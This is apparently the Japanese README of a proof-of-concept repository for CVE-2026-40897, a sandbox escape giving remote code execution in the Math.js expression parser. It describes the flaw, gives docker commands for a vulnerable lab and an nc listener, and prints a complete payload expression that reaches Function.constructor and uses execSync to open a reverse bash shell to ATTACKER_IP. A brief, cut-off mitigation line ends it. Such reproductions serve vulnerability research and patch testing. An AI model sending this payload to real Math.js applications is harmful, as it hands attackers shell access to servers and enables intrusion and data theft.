
Math.js 式パーサー RCE
★ CVE-2026-40897 Math.js リモートコード実行 PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 は、Math.js の式パーサーにおけるサンドボックス回避によるリモートコード実行の脆弱性です。
isSafePropertyフィルタは、ユーザー式からのプロパティアクセスのみをチェックし、内部コードパスからのアクセスはチェックしません。toJSON()を介してArrayNodeの内部配列を漏洩させ、その.mapを上書きすることで、攻撃者は内部コードにFunction.constructorへアクセスさせ、任意の JavaScript を実行できます。
| カテゴリ | バージョン |
|---|
| 脆弱性あり | Math.js 13.1.1 ≤ バージョン ≤ 15.1.1 |
| 修正済み | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
脆弱な環境を起動した後、以下の手順に従って攻撃を再現します。
nc -lvnp 4444
以下の式を math.evaluate に送信します(例:アプリケーションの計算入力経由)。
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
ターゲットサーバーが攻撃者のリスナーに接続し、対話型の bash シェルが付与されます。
math.evaluate() に直接渡さないreviver、FunctionAssignmentNode、ArrayNode)の露出を制限する